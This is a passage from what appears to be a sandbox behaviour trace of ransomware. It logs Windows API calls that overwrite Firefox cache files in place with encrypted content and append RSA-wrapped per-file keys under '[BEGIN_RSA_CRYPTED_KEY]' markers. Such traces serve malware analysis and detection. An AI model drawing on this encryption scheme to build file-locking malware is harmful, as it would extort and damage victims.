lpNumberOfBytesRead=0x2e3f9b4*=0xaaa, lpOverlapped=0x0) returned 1 [0256.201] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2730, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.201] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ab08*, nNumberOfBytesToWrite=0xaaa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ab08*, lpNumberOfBytesWritten=0x2e3f9b4*=0xaaa, lpOverlapped=0x0) returned 1 [0256.202] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xaaa [0256.202] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.202] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.202] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.202] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.202] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.202] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zgP+9c2LLrNCG/YbQMEgU9fJOCZOLdWQwqRtgg7gy3aTe7Pdg21tn8XOB2B8iniB\n7jYW6nwls9DnEx0eh+7crKXKYKEXoHw5kDeIJBCMdsAEhIgwIfk9DUfeODvD/NoR\no6HuBlBy8p+nIFrluL3eOpkJqIWCYYe/UOq7LNj2O7lecyJoHFmBnJTTYOUrCPZ4\nvni+deHb9ScxT687orrxJCevF7HUKWh/8AsqOj/g2YTNfDJ8F8vFnINAUZ+csg4X\n4GQxWoLMKmsADQ0RB2XCQVqtP8vSdIoQvGPaRm2CF6ytuLd/K/UYTNbg0Q6iYgAk\ntm3J/9CSBF7EJSz29zVPig==\n", pcchString=0x2e3f9a8) returned 1 [0256.202] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.203] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.203] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.203] CloseHandle (hObject=0x1b84) returned 1 [0256.204] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.204] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CB14A93EFDA02E7AEDF6142F02A7EBDF29C1DAC5", dwFileAttributes=0x80) returned 1 [0256.204] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0256.222] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.222] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af50*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af50*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0256.222] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef7 [0256.222] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.222] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.223] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.223] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EdJjlxU+TmZH6pwmMMeNOQ5cop8neyTqGSgklWj+Ww5IX4ov83d06qXbhhCu8kbq\nkl3zsm82UwSIFLIlQQVZkokLspDYkA5ucczfMncjSuYVOKKCVosED+LDQYEQF6ZV\nbY+BbJ8cmPyvoN2mGq/ZLVCUIAuRP3yJqVB7Gc6ltJIqu3AH+R3lSSWkCyG8g7+L\nrWPvvadmOFcaVq4nqoYPHJyIjUbwbQ+aZaffmlqZUNlLMJnj8aTVjd1YjTKQHHf5\nowKCL3r1s4gfvd9WeENa55oaqwAftXwr4b8sjaYCJhQN+sLQpUXirCA9bNIosloy\nG6laJpDC8Tt3fo9xts3xNg==\n", pcchString=0x2e3f9a8) returned 1 [0256.223] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.224] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.224] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.224] CloseHandle (hObject=0x1b84) returned 1 [0256.225] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.225] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CB06F3F3E4FCBD4D7968183FF36D440700C56E89", dwFileAttributes=0x80) returned 1 [0256.226] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xfdb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xfdb, lpOverlapped=0x0) returned 1 [0256.309] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.309] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b038*, nNumberOfBytesToWrite=0xfdb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b038*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfdb, lpOverlapped=0x0) returned 1 [0256.309] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfdb [0256.310] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.310] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.310] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.310] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.311] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.311] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Z0o2+W3Nmd3wlrlPx8wCrqUAaMZLrXM6s8O68o8Wf/+tVkI38iugyi6/FkoKGbhn\nA1RdgLyxuO3FD2jTT32akuwWcSSMNQ3azwXwkDOc1eSUItmlrpgQNlnNqUD4yFGL\nGTA3FoOhEM5JnGj7N02BhyXSkrbzfIYlFLqhXUnUGv8p9tHfouSrFZ6KjOs5d0YP\ntBuXwJcIFyL/kfKceSCcL4x8jbUdPSERoEFrxyj+qt2EKQ2BtV2XKxX4Hbi//QD0\nUmhx/ncc8rgLYsruPZ/hWlPP6wWtVBC6pEI1vVh/TQCiEre7x/jo86CqYAsuHIQ7\nDN4ykbugNgBgfGSM20nJCQ==\n", pcchString=0x2e3f9a8) returned 1 [0256.311] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.311] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.311] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.311] CloseHandle (hObject=0x1b84) returned 1 [0256.313] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CA7A9F0CC74A8E8754049606AD6AEF4B054677C4", dwFileAttributes=0x80) returned 1 [0256.313] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x1134, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x1134, lpOverlapped=0x0) returned 1 [0256.350] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4404, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.350] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b190*, nNumberOfBytesToWrite=0x1134, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b190*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1134, lpOverlapped=0x0) returned 1 [0256.351] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1134 [0256.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.351] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9qMMLkZkt/LYzmIWMLjuCAzxgwbzOwdnibUwOkEtpDSkgsNz+GAiBuRnzESsQN2p\nITV/7lxZ9h8fb+RWXxQsmYWbEjHKRCpt695Q7E1BKPrlJ5KtgWkdccLOuubB3tnQ\nn3moeiHc3Oe77fmy2uuJZc6gOkggmkXPD208Nd14gNPfk0hl7uwMgaqznhmpr3IP\nzTENq/ab57Fh7v4LFAMTzSMNzcy7q2tE4kG4Buo4FTprqztkLaBHtjO3YMkfWdUZ\nHyEptmgheg9TsMhaYagyUoFFpfZdv0lkuhst0rJD/IoAFbHUpUWupn2Lv4i1MKeS\nGbSiUBcS9FamuzM5MesVGQ==\n", pcchString=0x2e3f9a8) returned 1 [0256.352] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.353] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.353] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.353] CloseHandle (hObject=0x1b84) returned 1 [0256.364] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.364] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C9471B3F9596A7A5004417CE2292309DD1102B7E", dwFileAttributes=0x80) returned 1 [0256.364] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xf33, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xf33, lpOverlapped=0x0) returned 1 [0256.450] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3891, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.450] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af90*, nNumberOfBytesToWrite=0xf33, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af90*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf33, lpOverlapped=0x0) returned 1 [0256.451] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf33 [0256.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.451] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.451] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.451] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.451] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.451] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ItFHU6aTng5gQD5M5mvHKaibQjJgV+T7rC8iS5FTCSrKMNcAFcxBYj4gvawed/Xx\nPKyZma7CikowP88vk5gIahV8hw3MFM25i3KcIfMldsi9QiMGK174GDtqUDefKSz3\nh8Wt7u0LRxHqFyv8ziQyQ0MoGwibLU4KeRo7LMt9UESEd+MQC8V484bTgkBkmK22\n6Z41cEKUUT8OfgFsBF8nnJL/GMWRTvc2zilonPUqsEBa1TATokng74QoQjUdWLyz\n5pxHZtfWbgWw0o0cXPhg8J3yaeNZK6XPF/lcXncMlYPxC4iuwPv50z2QtVvCiY9j\nUaQGSOcx3ePptVyBMqYZkw==\n", pcchString=0x2e3f9a8) returned 1 [0256.451] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.452] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.452] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.452] CloseHandle (hObject=0x1b84) returned 1 [0256.453] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.453] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C886C15B36E63849FB9E86DCC97456303F590459", dwFileAttributes=0x80) returned 1 [0256.454] ReadFile (in: hFile=0x1b84, lpBuffer=0x65a908, nNumberOfBytesToRead=0xf6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a908*, lpNumberOfBytesRead=0x2e3f9b4*=0xf6, lpOverlapped=0x0) returned 1 [0256.454] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.454] WriteFile (in: hFile=0x1b84, lpBuffer=0x65b008*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65b008*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf6, lpOverlapped=0x0) returned 1 [0256.455] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf6 [0256.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.455] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.455] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.455] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jSRCGW5xWwiKsudQ5+sL2uB2NSk4xKTHp4XXz3s/oqjUhRw7CFlYGPAbBdJjwYjX\nWDrTfGQm1g45I1hG5U/ZAioeKzNVq8i8FQJc6xD3ZZGELtXYWEyUE4i3996T8EhM\nc+nxSbA8mKWz+q8ctcZH9sc9ugEtqBLkDHj5vYXfCrJt73cahBfVdcasEpIzapxt\nF2h68zwpLn/UIJidWY/WhwTqC4JKMoV1jjVEQlkGkA+yHLjUJfsA3rvo+xTcjc4n\nKudMs7WxGKEnLMAn4aDBDaJmIWE7eLd1y75rBhPBuMrThvk6dbrKnqgRPHezm1vm\ndHcpfURq1skhLkPCazTpaA==\n", pcchString=0x2e3f9a8) returned 1 [0256.455] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.456] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.456] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.456] CloseHandle (hObject=0x1b84) returned 1 [0256.458] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.458] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C8788D66D9B86C3DD7E7796698EB2CFB98F70A72", dwFileAttributes=0x80) returned 1 [0256.458] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x1bc24, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x1bc24, lpOverlapped=0x0) returned 1 [0256.530] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-113700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.530] WriteFile (in: hFile=0x1b84, lpBuffer=0x3465c80*, nNumberOfBytesToWrite=0x1bc24, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3465c80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1bc24, lpOverlapped=0x0) returned 1 [0256.531] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1bc24 [0256.531] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.531] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.531] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.531] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.532] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.532] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qLw3ySLhgu3uOyjnojLBOQkUjNBx4V2ZsMDCLQi2+2++bmwoch+DO+12kL0v4xu2\nRNE9MLJCLdHtYhAHE1P64XkAcF88KFYYn6uKoda0j2nbCToh0jZgA5Esdu9vPjNP\nZ+nF+kygYJ84gM9l4N9cKTJVdlR6JHh2NispykmBMVWuUqyiFUok9OO8LjJE8+Ci\n9AxE1L+md0P4hj5SitYylZk6rbTKOntX1H9ipL9w/F/faVMlT/sLtB/CZOhOlBFZ\njdZ4xbEQ8aEihrcrcw50B9+WNU1aC1+QO8I9g74qw4pMgl0T88Xuh8KusaPkoWYn\n1+eA6cbbdzcTfxfk0S5PCw==\n", pcchString=0x2e3f9a8) returned 1 [0256.532] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.532] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.532] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.532] CloseHandle (hObject=0x1b84) returned 1 [0256.534] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.534] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C737DF2E733956D371B0C150FC9E5E69F33A60A8", dwFileAttributes=0x80) returned 1 [0256.534] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, 